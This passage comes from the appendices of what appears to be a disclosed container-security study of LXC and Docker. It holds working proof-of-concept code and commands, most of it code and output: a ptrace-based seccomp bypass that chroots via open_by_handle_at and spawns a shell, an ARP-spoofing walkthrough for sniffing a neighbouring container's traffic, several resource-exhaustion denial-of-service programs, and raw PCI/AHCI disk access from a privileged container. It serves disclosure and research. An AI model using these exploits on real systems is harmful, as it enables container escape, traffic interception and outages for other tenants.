    //fd = open_by_handle_at(mfd, fp, 0);
    fd = syscall(SYS_getpid, SYS_open_by_handle_at, mfd, fp, 0);
    if(fd == -1) {
        perror("open_by_handle");
        exit(1);
    }
    printf("opened %d\n", fd);
    fchdir(fd);
    chroot(".");
    system("sh -i");
}

/* step to start or end of next system call */
int sysStep(int pid)
{
    int st;

    if(ptrace(PTRACE_SYSCALL, pid, NULL, NULL) == -1) {
        perror("ptrace syscall");
        return -1;
    }
    if(waitpid(pid, &st, __WALL) == -1) {
        perror("waitpid");
        return -1;
    }
    //printf("status %x\n", st);
    if(!(WIFSTOPPED(st) && WSTOPSIG(st) == SIGTRAP))
        return -1;
    return 0;
}

void dumpregs(int pid)
{
    struct user_regs_struct regs;
    if(ptrace(PTRACE_GETREGS, pid, NULL, &regs) == -1)
        return;
    printf("rip %016llx  ", regs.rip);
    printf("rsp %016llx  ", regs.rsp);
    printf("efl %016llx\n", regs.eflags);
    printf("rax %016llx orig %016llx  ", regs.rax, regs.orig_rax);
    printf("rdi %016llx\n", regs.rdi);
    printf("rsi %016llx  ", regs.rsi);
    printf("rdx %016llx  ", regs.rdx);
    printf("rcx %016llx\n", regs.rcx);
    printf("r8  %016llx  ", regs.r8);
    printf("r9  %016llx  ", regs.r9);
    printf("r10 %016llx\n", regs.r10);
    printf("\n");
}

int main(int argc, char **argv)
{
    struct user_regs_struct regs;
    int pid;

    if(argc != 3) {
        printf("bad usage\n");
        exit(1);
    }

    switch((pid = fork())) {
    case -1: perror("fork"); exit(1);
    case 0: /* child: get traced and do our attack */
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        kill(getpid(), SIGSTOP);
        attack(argv[1], argv[2]);
        exit(0);
    }

    /* parent: translate getpid calls into other syscalls. max 4 args. */
    waitpid(pid, 0, 0); /* wait for attach */
    while(sysStep(pid) != -1) {
        /* potentially tamper with syscall */
        if(ptrace(PTRACE_GETREGS, pid, NULL, &regs) == -1) {
            perror("ptrace getregs");
            break;
        }

        /*
         * note: we wont get a syscall-enter-stop for any
         * seccomp filtered syscalls, just the syscall-exit-stop.
         */
        if(regs.rax != -ENOSYS) /* not a syscall-enter-stop ! */
            continue;

        if(regs.orig_rax == SYS_getpid) {
            regs.orig_rax = regs.rdi;
            regs.rdi = regs.rsi;
            regs.rsi = regs.rdx;
            regs.rdx = regs.r10;
            regs.r10 = regs.r8;
            regs.r8 = regs.r9;
            regs.r9 = 0;
            printf("syscallX %llu, before tampering\n", regs.orig_rax); dumpregs(pid);
            ptrace(PTRACE_SETREGS, pid, NULL, &regs);
            printf("after tampering\n");dumpregs(pid);
        }
        //printf("before\n");dumpregs(pid);

        if(sysStep(pid) == -1) /* go to syscall exit */
            break;
        //printf("after\n");dumpregs(pid);
    }
    return 0
}
```

Appendix: Cross-Container ARP Spoofing Walkthrough

The following was performed on a default LXC installation [58], and reported to LXC and Docker with a full write-up and reproduction, which was made public by the LXC team [62]. This reproduction is for an LXC system, but it can easily be adapted to a Docker system instead.

```
# first, we setup a Ubuntu VM w/ vagrant
vagrant init ubuntu/trusty64
vagrant up
vagrant ssh

# Now, inside the new Ubuntu VM:
apt-get update
apt-get install lxc

# set up two unprivileged LXC containers
# (from https://help.ubuntu.com/lts/serverguide/lxc.html)
mkdir -p ~/.config/lxc
echo "lxc.id_map = u 0 100000 65536" > ~/.config/lxc/default.conf
echo "lxc.id_map = g 0 100000 65536" >> ~/.config/lxc/default.conf
echo "lxc.network.type = veth" >> ~/.config/lxc/default.conf
echo "lxc.network.link = lxcbr0" >> ~/.config/lxc/default.conf
echo "$USER veth lxcbr0 2" | sudo tee -a /etc/lxc/lxc-usernet
lxc-create -t download -n a -- -d ubuntu -r trusty -a amd64
lxc-create -t download -n b -- -d ubuntu -r trusty -a amd64

# fix cgroup issues (from https://github.com/lxc/lxc/issues/181)
for c in hugetlb cpuset cpu cpuacct memory devices freezer blkio perf_event; do
      sudo dbus-send --print-reply --address=unix:path=/sys/fs/cgroup/cgmanager/sock \
      --type=method_call /org/linuxcontainers/cgmanager
org.linuxcontainers.cgmanager0_0.Create \
      string:$c string:$USER
      sudo dbus-send --print-reply --address=unix:path=/sys/fs/cgroup/cgmanager/sock \
      --type=method_call /org/linuxcontainers/cgmanager
org.linuxcontainers.cgmanager0_0.Chown \
      string:$c string:$USER int32:$(id -u) int32:$(id -g)
      dbus-send --print-reply --address=unix:path=/sys/fs/cgroup/cgmanager/sock \
      --type=method_call /org/linuxcontainers/cgmanager
org.linuxcontainers.cgmanager0_0.MovePid \
      string:$c string:$USER int32:$$
done

# start the containers
lxc-start -n a -d
```

```
lxc-start -n b -d

# open two new terminal windows
# in one: attach to container A
lxc-attach -n a
# in another: attach to container B
lxc-attach -n b

# from now on, all commands will have the full command prompt to make it clear
# where they are being run

# look at the ARP tables on the host:
root@vagrant-ubuntu-trusty-64:~# arp -a
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on eth0
? (10.0.3.159) at e2:33:5d:33:cf:07 [ether] on lxcbr0
? (10.0.3.246) at e6:ad:42:7a:f1:54 [ether] on lxcbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on eth0

# in this case, 10.0.3.159 is container B's eth0, and 10.0.3.246 is container A's eth0
# since the two containers are on the same subnet, it may appear that they can
# sniff each other's traffic. so . . .
# a quick demonstration that you cannot normally sniff traffic on the wire
# just by virtue of being on the same subnet:
# in container A
root@a:/# tcpdump -i any -vv -n dst host 10.0.3.159
# in container B
root@b:/# nc -lv 8888

# on the host (type something in the nc session, and note no traffic
# is output in container A)
vagrant@vagrant-ubuntu-trusty-64:~$ nc 10.0.3.83 8888

# now, we will demonstrate the ability to sniff traffic with ARP spoofing
# in container A:
# install dsniff
apt-get update
apt-get install dsniff

# ARP spoof the host:
arpspoof -t 10.0.3.1 10.0.3.159 &>/dev/null &

# look at the ARP tables on the host and note that both 10.0.3.159 and 10.0.3.246
# both now point at the MAC address for container A:
root@vagrant-ubuntu-trusty-64:~# arp -a
? (10.0.2.2) at 52:54:00:12:35:02 [ether] on eth0
? (10.0.3.159) at e6:ad:42:7a:f1:54 [ether] on lxcbr0
? (10.0.3.246) at e6:ad:42:7a:f1:54 [ether] on lxcbr0
? (10.0.2.3) at 52:54:00:12:35:03 [ether] on eth0
# note that container B can no longer access the internet
# (the following command will hang):
root@b:/# apt-get install curl

# now, from container A, we can ARP spoof container B as well:
root@a:/# arpspoof -t 10.0.3.159 10.0.3.1 &>/dev/null &

# look at the arp tables in container B and note
# 10.0.3.1 now points to container A:
root@b:/# arp -a
a (10.0.3.246) at e6:ad:42:7a:f1:54 [ether] on eth0
? (10.0.3.1) at e6:ad:42:7a:f1:54 [ether] on eth0

# Finally, we can try to send some traffic from the host to container B,
# and sniff it from container A
# in B
root@b:/# nc -lv 8888
# in A:
root@a:/# apt-get install tcpdump
root@a:/# tcpdump -i any -vv -n dst host 10.0.3.159
# on the host
root@vagrant-ubuntu-trusty-64:~# nc 10.0.3.159 8888

# type something in the above nc session, and observe the connection
# from the host --> B, sniffing from A:
root@a:/# tcpdump -i any -vv -n dst host 10.0.3.159
tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
02:05:05.653355 IP (tos 0x0, ttl 64, id 49639, offset 0, flags [DF], proto TCP (6), length
60)
   10.0.3.1.43655 > 10.0.3.159.8888: Flags [S], cksum 0x1ace (incorrect -> 0x4bff), seq
2684314036, win 29200, options [mss 1460,sackOK,TS val 761939 ecr 0,nop,wscale 6], length
0
```

Appendix: Denial of Service Proofs-of-Concept Code

All of the following was performed inside default LXC and Docker containers, using a default Vagrant [83] Ubuntu Trusty64 VM [84]. The latest versions of LXC (1.0.8) [58] and Docker (1.10.2) [57] available (at the time of testing) on Trusty64 were used, and were installed and configured according to their guides [57] [58]. (Per the guide, Docker was not using user namespaces or seccomp in this testing.)

POSIX Message Queues

To exhaust all available memory for POSIX message queues, the following C program can be used.

It is built with `gcc mq.c -lrt`, and then run with `./a.out`. Run this program in one container until it has used all available resources (which will lead it to exit with: `mq_open(): Too many open files`).

Then, inside a second container, run the same program, and observe that it immediately errors out without successfully creating one message queue.

```
/* @author jhertz
 * based off code found at:
 * https://users.pja.edu.pl/~jms/qnx/help/watcom/clibref/mq_overview.html
 */
#include <mqueue.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>

void main () {
  mqd_t mqdes;              // Message queue descriptors
  unsigned int prio;        // Priority
  char biggest[8192];       // based on a ulimit -q of 819200
  int i;
  const char* ptr = (const char*) biggest;

  for(i=0; ; i++) {
    sprintf(biggest, "/%d", i);
    printf("going to open mq: %s\n", biggest);
    mqdes = mq_open (biggest, O_RDWR | O_CREAT, O_RDWR, NULL);

    if(mqdes == -1) {
      perror("mq_open()");
      return;
    }

    for (prio=0; prio < 10; prio++){
      printf ("msg %d.\n", prio);
      if (mq_send (mqdes, ptr, 8192, prio) == -1) {
        perror ("mq_send()");
        return;
      }
    }
  }
```

Pending Signals

To queue up the maximum number of pending signals, a short C program which blocks all signals can be used:

```
/* block all the signals
 * @author jhertz
 */
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

int main(void){
    pthread_t thread;
    sigset_t set;
    int s;

    sigfillset(&set); //BLOCK all signals

    printf("going to block all signals\n");
    s = pthread_sigmask(SIG_BLOCK, &set, NULL);
    if (s != 0){
        printf("couldn't block all signals\n");
        return -1;
    }
    printf("all signals blocked, going to spin loop\n");
    while(1){
        ;
    }
}
```

The above can be built with `gcc -lpthread signal.c -o signal` and then run as `./signal`. Once running, the maximum number of signals can be queued using a simple bash one-liner: `'for i in {1..3752}; do kill -64 <pid>; done'` where `<pid>` is the pid of the `signal` program, and 3752 was the maximum number of pending signals allowed by ulimit.

Upon success, the number of signals queued up can be viewed (as any process running as root inside any container) with `'cat /proc/self/status | grep SigQ'`. This can be verified in a separate container. To see the effects of this, we can observe a call to `timer_create()` failing (due to excessive pending signals) using the timer_create() example from the man pages [85]. Build it with ` gcc timer.c -lrt`, and run it with `./a.out 1 1` to observe the timer_create() call failing.

Max Processes

This is always one of my favorite denial-of-service attacks, because of how simple the "exploit" is versus just how large an impact it can have. Even without trivial fork bombs, a sequential-forker of:

```
for i in {1..3752}; do sleep infinity & done
```

in an LXC container was enough to get my Vagrant VM to close all my SSH sessions, and needed to be `vagrant halt --forced`. This did not destabilize the host VM on Docker.

Max Files

To use up all available file descriptors (FDs), the following short C program can be used:

```
/* file descriptor eater
** meant to be used in parallel
** @author jhertz */
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void){

        int my_pid = getpid();
        char buf[128];
        int i=0;
        for(i=0; ; i++){
                sprintf(buf, "/tmp/%d_%d", my_pid, i);
                int fd = open(buf, O_CREAT);
                if( -1 == fd){
                        printf("got to max fd# %d\n", i);
                        break;
                }
        }

        printf("stalling\n");
        for(;;)
                ;
}
```

It can be compiled with `gcc file.c -o file` and run with `./file`. On Docker, this creates a simple and effective DoS against other Docker containers. On LXC, the ulimits per container were set lower, so in order to exploit this, it needed to be used in parallel:

```
for i in {1..100}; do ./file & done
```

The above was enough to cause a denial of service to other LXC containers. Exploiting the global file descriptor limit follows along the same lines as the previous exploit, and is possible even when containers do not share UID maps. In such a case where UID maps are non-shared, and containers have a max-FD ulimit placed on each of their users, they can attempt to exhaust FDs by running the above code as each user in their user namespace.

Disk Space

On LXC, this is as simple as

```
fallocate -L 18G big_file
```

where 18G is big enough to fill up the hard disk. Docker doesn't allow `fallocate`, so slightly more creativity is needed. `dd` proved ineffective when trying this attack, and so the the following script was written as a PoC:

```
#!/usr/bin/env python
# @author jhertz
# quick and dirty script to make a big file (~18 gigs)
# this is far from the most efficient way to do this
with open("big_file", "w") as f:
       for i in xrange(1, 1024 * 18):
           f.write("B" * 1024 * 1024)
       f.flush()
       f.close()
```

Appendix: /proc/bus/pci PoC

This proof of concept is meant to demonstrate the ability to circumvent an LXC privileged container's "security boundary" by communicating with underlying hardware directly.

Environment

- The test environment for this one was a VMWare workstation [86] VM running Ubuntu trusty64. The primary disk was a SCSI disc, but a secondary target 1GB SATAdisk was added, with no special settings (write caching was enabled by default).
- Communication is possible regardless of the mount state of the drive.
- A default LXC privileged environment was created using the instructions at [58].
- As the root user in the LxC container, `lspci -vv` was used to get the information about the target AHCI device:

```
02:05.0 SATA controller: VMware Device 07e0 (prog-if 01 [AHCI 1.0])
 Subsystem: VMware Device 07e0
 Physical Slot: 37
 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr-
Stepping- SERR- FastB2B- DisINTx+
 Status: Cap+ 66MHz+ UDF- FastB2B- ParErr- DEVSEL=fast >TAbort-
<TAbort- <MAbort- >SERR- <PERR- INTx-
 Latency: 64
 Interrupt: pin A routed to IRQ 72
 Region 5: Memory at fd5ee000 (32-bit, non-prefetchable) [size=4K]
 [virtual] Expansion ROM at e7b10000 [disabled] [size=64K]
 Capabilities: [40] Power Management version 3
  Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA
PME(D0-,D1-,D2-,D3hot+,D3cold-)
  Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME-
 Capabilities: [48] MSI: Enable+ Count=1/1 Maskable- 64bit+
  Address: 00000000fee00000 Data: 4024
 Capabilities: [60] SATA HBA v1.0 InCfgSpace
 Capabilities: [70] PCI Advanced Features
  AFCap: TP+ FLR+
  AFCtrl: FLR-
  AFStatus: TP-
 Kernel driver in use: ahci
```

- To demonstrate the vulnerability, compile and execute the attached tool (pciread.c), and then run it within the container. In this example, the invocation and output was:

```
#./pciread -b 02 -d 05 -f 0 -a 0xfd5ee000 -p 1
bar: fd5ee000 bus: 02 device: 05 function: 0
opened /proc/bus/pci/02/05.0
mapping 1 pages of size: 4096
AHCI 0001.0300 32 slots 30 ports 6 Gbps 0x3fffffff impl
```

```
IRQs disabled
Supports 64-bit addresses
Supports native command queuing
DMA buffer @ 0x35b6b000
cmd list buffer @ 0x25f9c000
FIS buffer @ 0x26ccf000
cmd buffer @ 0xe7e3000
p->ports_impl: 0x3fffffff
--------- port 0 ---------
command list base address: 0x0
FIS base address: 0x14c29000
interrupt status: 0x0
interrupt enable: 0x7840007f
 PORT_IRQ_D2H_REG_FIS
 PORT_IRQ_PIOS_FIS
 PORT_IRQ_DMAS_FIS
 PORT_IRQ_SDB_FIS
 PORT_IRQ_UNK_FIS
 PORT_IRQ_SG_DONE
 PORT_IRQ_CONNECT
 PORT_IRQ_PHYRDY
 PORT_IRQ_IF_ERR
 PORT_IRQ_HBUS_DATA_ERR
 PORT_IRQ_HBUS_ERR
 PORT_IRQ_TF_ERR
command and status: 0x44016
 PORT_CMD_SPIN_UP
 PORT_CMD_POWER_ON
 PORT_CMD_FIS_RX
 PORT_CMD_FIS_ON
signature : 0x101 (SATA drive)
tfd : 0x441
status : 0x123
errors : 0x0
active : 0x0
control : 0x320
---------------------------
interrupt status before: 0x0
start bit before: 0
interrupt status after: 0x2
 PORT_IRQ_PIOS_FIS
Waiting for command completion
Seems to have completed...
Got response data in DMA buffer:
0x7f5a27873000: 7a 42 ab 08 00 00 0f 00 00 00 00 00 3f 00 00 00
zB....... .......
```

```
0x7f5a27873010: 00 00 00 00 30 30 30 30 30 30 30 30 30 30 30 30
....00000 0000000
0x7f5a27873020: 30 30 30 30 30 30 31 30 00 00 40 00 00 00 30 30
00000010. .....00
0x7f5a27873030: 30 30 30 30 31 30 4d 56 61 77 65 72 56 20 72 69
000010MVa werV.ri
0x7f5a27873040: 75 74 6c 61 53 20 54 41 20 41 61 48 64 72 44 20
utlaS.TA. AaHdrD.
0x7f5a27873050: 69 72 65 76 20 20 20 20 20 20 20 20 20 20 ff 80
irev..... .......
0x7f5a27873060: 00 00 00 0f 01 40 00 02 00 00 07 00 ab 08 0f 00
......... .......
0x7f5a27873070: 3f 00 3b ff 1f 00 ff 01 00 00 20 00 00 00 07 00
......... .......
0x7f5a27873080: 03 00 78 00 78 00 78 00 78 00 00 00 00 00 00 00
..x.x.x.x .......
0x7f5a27873090: 00 00 00 00 00 00 1f 00 06 01 00 00 00 00 00 00
......... .......
0x7f5a278730a0: 7e 00 18 00 08 40 08 74 00 41 08 40 80 34 00 41
.......t. A...4.A
[SNIP]
```

- The hexdump output shows the ATA IDENTIFY command response sent back from the controller.
- There are some assumptions the code makes. It assumes the drive it is going to talk to is the first device it finds in the AHCI port list that is actually active.
- Also it doesn't cleanly recover everything after getting the response, so the state of the mapped registers is wrong and the kernel won't be able to mount the device afterwards or anything.

Explanation of PoC

While reading the attached code is instructive, here is an overview of the methodology used:

- Map the control region of the AHCI device into memory through the /proc/bus/pci/ interface using open(), mmap(), and ioctl().
- Allocate several buffers, and determine their logical address using /proc/self/pagemap.
- Disable interrupts for the device.
- Find the port the drive is attached to.
- Set the FIS, Command, and Command List pointers on the device to the previously allocated buffers.
- Create a H2D FIS (to tell the drive to identify itself), a command to wrap the FIS (telling the drive to use a DMA buffer we have allocated), and a command list structure containing the command.
- Copy all of these to the previously allocated buffers, which the device also now has pointers to.
- Flip the start bit on the device to cause it process commands from the command list.
- Sleep for a second, then spin loop until the drive has processed tthe command.
- The drive has now executed our command (ATA_CMD_ID_ATA, which is the drive identification command), and written the result to a buffer we allocated. Print it out, and attempt (poorly) to restore the drive's state.

The Code

```
/*
 * LxC PCI Device Access Through /proc/ PoC
 * Sample code to map in PCI memory for a specified AHCI device and
 * tell the device to identify itself.
 * “vulnerability” discovered by jhertz
 * PoC written by aaron adams
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE

#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <linux/pci.h>
#include <linux/limits.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

extern char *optarg;
extern int optind, opterr, optopt;

#define PAGE_SIZE 4096
#define PMAP "/proc/%d/pagemap"

int open_pmap(void)
{
    int fd;
    int rc;
    char *pmap;

    rc = asprintf(&pmap, PMAP, getpid());
    if (-1 == rc) {perror("asprintf");
        exit(EXIT_FAILURE);
    }
    fd = open(pmap, O_RDONLY);
    if (-1 == fd) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    free(pmap);
    return fd;
}

#define PM_ENTRY_BYTES      sizeof(pagemap_entry_t)
#define PM_STATUS_BITS      3
#define PM_STATUS_OFFSET    (64 - PM_STATUS_BITS)
#define PM_STATUS_MASK      (((1LL << PM_STATUS_BITS) - 1) << PM_STATUS_OFFSET)
#define PM_STATUS(nr)       (((nr) << PM_STATUS_OFFSET) & PM_STATUS_MASK)
#define PM_PSHIFT_BITS      6
#define PM_PSHIFT_OFFSET    (PM_STATUS_OFFSET - PM_PSHIFT_BITS)
#define PM_PSHIFT_MASK      (((1LL << PM_PSHIFT_BITS) - 1) << PM_PSHIFT_OFFSET)
#define __PM_PSHIFT(x)      (((u64) (x) << PM_PSHIFT_OFFSET) & PM_PSHIFT_MASK)
#define PM_PFRAME_MASK      ((1LL << PM_PSHIFT_OFFSET) - 1)
#define PM_PFRAME(x)        ((x) & PM_PFRAME_MASK)

uint64_t vaddr_to_paddr(int pm, uint64_t vaddr)
{
    int32_t  rc;
    int64_t  index;
    uint64_t paddr;
    off64_t  o;

    index = (vaddr / PAGE_SIZE) * sizeof(uint64_t);
    o = lseek64(pm, index, SEEK_SET);
    if (o != index) {
        perror("lseek64");
        exit(EXIT_FAILURE);
    }

    rc = read(pm, &paddr, sizeof(uint64_t));
    if (-1 == rc) {
        perror("read");
        exit(EXIT_FAILURE);
    }

    return (PM_PFRAME(paddr) << 12);
}

void hexdump(char * addr, unsigned int size)
{
    char * buf;
    char * p;
    int32_t i, j;
    uint32_t c;
    int32_t n;

    buf = calloc(1, 0x100000);

    p = buf;
    n = sprintf(p, "\n");
    p += n;

    for (i = 0; i <= size; i++) {
        if ((i % 16) == 0) {
            for (j = 16; j > 0; j--) {
                if (i == 0) {
                    break;
                }
                if (j == 7) {
                    n = sprintf(p, "   ");
                    p += n;
                }

                c = *(addr-j) & 0xff;
                if (c < 0x80 && isalnum(c)) {
                    n = sprintf(p, "%c", c);
                    p += n;
                }
                else {
                    n = sprintf(p, ".");
                    p += n;
                }
            }
            if (i != size) {
                n = sprintf(p, "\n0x%.08lx: ", (unsigned long)addr);
                p += n;
            }
        }
        else if ((i % 8) == 0) {
            n = sprintf(p, "   ");
            p += n;
        }

        if (i != size) {
            n = sprintf(p, "%.02x ", *addr & 0xff);
            p += n;
            addr = (char *)((unsigned long)addr +1);
        }
    }
    n = sprintf(p, "\n\n");
    p += n;
    printf("%s", buf);
}

#define PORT_OFFSET 0x100
#define PORT_SIZE   0x80

// FIS_TYPE_REG_H2D
struct host_to_dev_fis {
    unsigned char type;
    unsigned char opts;
    unsigned char command;
    unsigned char features;

    union {
        unsigned char lba_low;
        unsigned char sector;
    };
    union {
        unsigned char lba_mid;
        unsigned char cyl_low;
    };
    union {
        unsigned char lba_hi;
        unsigned char cyl_hi;
    };
    union {
        unsigned char device;
        unsigned char head;
    };

    union {
        unsigned char lba_low_ex;
        unsigned char sector_ex;
    };
    union {
        unsigned char lba_mid_ex;
        unsigned char cyl_low_ex;
    };
    union {
        unsigned char lba_hi_ex;
        unsigned char cyl_hi_ex;
    };
    unsigned char features_ex;
    unsigned char sect_count;
    unsigned char sect_cnt_ex;
    unsigned char res2;
    unsigned char control;

    unsigned int res3;
};

// FIS_TYPE_DMA_SETUP
struct dma_setup_fis {
    unsigned char type;
    unsigned char opts;
    unsigned short reserved;
    uint64_t dma_id;
    uint32_t rsvd1;
    uint32_t dma_offset;
    uint32_t transfer_count;
    uint32_t rsvd2;
};

/* Command header structure. These entries are in what the spec calls the
 * 'command list'  */
struct cmd_hdr {
    /*
     * Command options.
     * - Bits 31:16 Number of PRD entries.
     * - Bits 15:8 Unused in this implementation.
     * - Bit 7 Prefetch bit, informs the drive to prefetch PRD entries.
     * - Bit 6 Write bit, should be set when writing data to the device.
     * - Bit 5 Unused in this implementation.
     * - Bits 4:0 Length of the command FIS in DWords (DWord = 4 bytes).
     */
    unsigned int opts;
    /* This field is unused when using NCQ. */
    union {
        unsigned int byte_count;
        unsigned int status;
    };
    unsigned int ctba; // 128-byte aligned command table addr
    unsigned int ctbau; // upper addr bits if 64-bit is used
    unsigned int res[4];
};

#define SATA_SIG_ATA    0x00000101

typedef enum
{
    FIS_TYPE_REG_H2D    = 0x27, // Register FIS - host to device
    FIS_TYPE_REG_D2H    = 0x34, // Register FIS - device to host
    FIS_TYPE_DMA_ACT    = 0x39, // DMA activate FIS - device to host
    FIS_TYPE_DMA_SETUP  = 0x41, // DMA setup FIS - bidirectional
    FIS_TYPE_DATA       = 0x46, // Data FIS - bidirectional
    FIS_TYPE_BIST       = 0x58, // BIST activate FIS - bidirectional
    FIS_TYPE_PIO_SETUP  = 0x5F, // PIO setup FIS - device to host
    FIS_TYPE_DEV_BITS   = 0xA1, // Set device bits FIS - device to host
} FIS_TYPE;

enum {
    ATA_ID_WORDS                 = 256,
    ATA_CMD_ID_ATA               = 0xEC
};

/* Taken from drivers/ata/ahci.h inux kernel */
enum {
    AHCI_MAX_PORTS               = 32,
    AHCI_MAX_CLKS                = 5,
    AHCI_MAX_SG                  = 168, /* hardware max is 64K */
    AHCI_DMA_BOUNDARY            = 0xffffffff,
    AHCI_MAX_CMDS                = 32,
    AHCI_CMD_SZ                  = 32,
    AHCI_CMD_SLOT_SZ             = AHCI_MAX_CMDS * AHCI_CMD_SZ,
    AHCI_RX_FIS_SZ               = 256,
    AHCI_CMD_TBL_CDB             = 0x40,
    AHCI_CMD_TBL_HDR_SZ          = 0x80,
    AHCI_CMD_TBL_SZ              = AHCI_CMD_TBL_HDR_SZ + (AHCI_MAX_SG * 16),
    AHCI_CMD_TBL_AR_SZ           = AHCI_CMD_TBL_SZ * AHCI_MAX_CMDS,
    AHCI_PORT_PRIV_DMA_SZ        = AHCI_CMD_SLOT_SZ + AHCI_CMD_TBL_AR_SZ +
                                   AHCI_RX_FIS_SZ,
    AHCI_PORT_PRIV_FBS_DMA_SZ    = AHCI_CMD_SLOT_SZ + AHCI_CMD_TBL_AR_SZ +
                                   (AHCI_RX_FIS_SZ * 16),
    AHCI_IRQ_ON_SG               = (1 << 31),
    AHCI_CMD_ATAPI               = (1 << 5),
    AHCI_CMD_WRITE               = (1 << 6),
    AHCI_CMD_PREFETCH            = (1 << 7),
    AHCI_CMD_RESET               = (1 << 8),
    AHCI_CMD_CLR_BUSY            = (1 << 10),

    RX_FIS_PIO_SETUP             = 0x20, /* offset of PIO Setup FIS data */
    RX_FIS_D2H_REG               = 0x40, /* offset of D2H Register FIS data */
    RX_FIS_SDB                   = 0x58, /* offset of SDB FIS data */
    RX_FIS_UNK                   = 0x60, /* offset of Unknown FIS data */

    /* global controller registers */
    HOST_CAP                     = 0x00, /* host capabilities */
    HOST_CTL                    = 0x04, /* global host control */
    HOST_IRQ_STAT               = 0x08, /* interrupt status */
    HOST_PORTS_IMPL             = 0x0c, /* bitmap of implemented ports */
    HOST_VERSION                = 0x10, /* AHCI spec. version compliancy */
    HOST_EM_LOC                 = 0x1c, /* Enclosure Management location */
    HOST_EM_CTL                 = 0x20, /* Enclosure Management Control */
    HOST_CAP2                   = 0x24, /* host capabilities, extended */

    /* HOST_CTL bits */
    HOST_RESET                  = (1 << 0),  /* reset controller; self-clear */
    HOST_IRQ_EN                 = (1 << 1),  /* global IRQ enable */
    HOST_MRSM                   = (1 << 2),  /* MSI Revert to Single Message */
    HOST_AHCI_EN                = (1 << 31), /* AHCI enabled */

    /* HOST_CAP bits */
    HOST_CAP_SXS                = (1 << 5),  /* Supports External SATA */
    HOST_CAP_EMS                = (1 << 6),  /* Enclosure Management support */
    HOST_CAP_CCC                = (1 << 7),  /* Command Completion Coalescing */
    HOST_CAP_PART               = (1 << 13), /* Partial state capable */
    HOST_CAP_SSC                = (1 << 14), /* Slumber state capable */
    HOST_CAP_PIO_MULTI          = (1 << 15), /* PIO multiple DRQ support */
    HOST_CAP_FBS                = (1 << 16), /* FIS-based switching support */
    HOST_CAP_PMP                = (1 << 17), /* Port Multiplier support */
    HOST_CAP_ONLY               = (1 << 18), /* Supports AHCI mode only */
    HOST_CAP_CLO                = (1 << 24), /* Command List Override support */
    HOST_CAP_LED                = (1 << 25), /* Supports activity LED */
    HOST_CAP_ALPM               = (1 << 26), /* Aggressive Link PM support */
    HOST_CAP_SSS                = (1 << 27), /* Staggered Spin-up */
    HOST_CAP_MPS                = (1 << 28), /* Mechanical presence switch */
    HOST_CAP_SNTF               = (1 << 29), /* SNotification register */
    HOST_CAP_NCQ                = (1 << 30), /* Native Command Queueing */
    HOST_CAP_64                 = (1 << 31), /* PCI DAC (64-bit DMA) support */

    /* HOST_CAP2 bits */
    HOST_CAP2_BOH               = (1 << 0),  /* BIOS/OS handoff supported */
    HOST_CAP2_NVMHCI            = (1 << 1),  /* NVMHCI supported */
    HOST_CAP2_APST              = (1 << 2),  /* Automatic partial to slumber */
    HOST_CAP2_SDS               = (1 << 3),  /* Support device sleep */
    HOST_CAP2_SADM              = (1 << 4),  /* Support aggressive DevSlp */
    HOST_CAP2_DESO              = (1 << 5),  /* DevSlp from slumber only */

    /* registers for each SATA port */
    PORT_LST_ADDR               = 0x00, /* command list DMA addr */
    PORT_LST_ADDR_HI            = 0x04, /* command list DMA addr hi */
    PORT_FIS_ADDR               = 0x08, /* FIS rx buf addr */
    PORT_FIS_ADDR_HI            = 0x0c, /* FIS rx buf addr hi */
    PORT_IRQ_STAT               = 0x10, /* interrupt status */
    PORT_IRQ_MASK                = 0x14, /* interrupt enable/disable mask */
    PORT_CMD                     = 0x18, /* port command */
    PORT_TFDATA                  = 0x20, /* taskfile data */
    PORT_SIG                     = 0x24, /* device TF signature */
    PORT_CMD_ISSUE               = 0x38, /* command issue */
    PORT_SCR_STAT                = 0x28, /* SATA phy register: SStatus */
    PORT_SCR_CTL                 = 0x2c, /* SATA phy register: SControl */
    PORT_SCR_ERR                 = 0x30, /* SATA phy register: SError */
    PORT_SCR_ACT                 = 0x34, /* SATA phy register: SActive */
    PORT_SCR_NTF                 = 0x3c, /* SATA phy register: SNotification */
    PORT_FBS                     = 0x40, /* FIS-based Switching */
    PORT_DEVSLP                  = 0x44, /* device sleep */

    /* PORT_IRQ_{STAT,MASK} bits */
    PORT_IRQ_COLD_PRES           = (1 << 31), /* cold presence detect */
    PORT_IRQ_TF_ERR              = (1 << 30), /* task file error */
    PORT_IRQ_HBUS_ERR            = (1 << 29), /* host bus fatal error */
    PORT_IRQ_HBUS_DATA_ERR       = (1 << 28), /* host bus data error */
    PORT_IRQ_IF_ERR              = (1 << 27), /* interface fatal error */
    PORT_IRQ_IF_NONFATAL         = (1 << 26), /* interface non-fatal error */
    PORT_IRQ_OVERFLOW            = (1 << 24), /* xfer exhausted available S/G */
    PORT_IRQ_BAD_PMP             = (1 << 23), /* incorrect port multiplier */

    PORT_IRQ_PHYRDY              = (1 << 22), /* PhyRdy changed */
    PORT_IRQ_DEV_ILCK            = (1 << 7), /* device interlock */
    PORT_IRQ_CONNECT             = (1 << 6), /* port connect change status */
    PORT_IRQ_SG_DONE             = (1 << 5), /* descriptor processed */
    PORT_IRQ_UNK_FIS             = (1 << 4), /* unknown FIS rx'd */
    PORT_IRQ_SDB_FIS             = (1 << 3), /* Set Device Bits FIS rx'd */
    PORT_IRQ_DMAS_FIS            = (1 << 2), /* DMA Setup FIS rx'd */
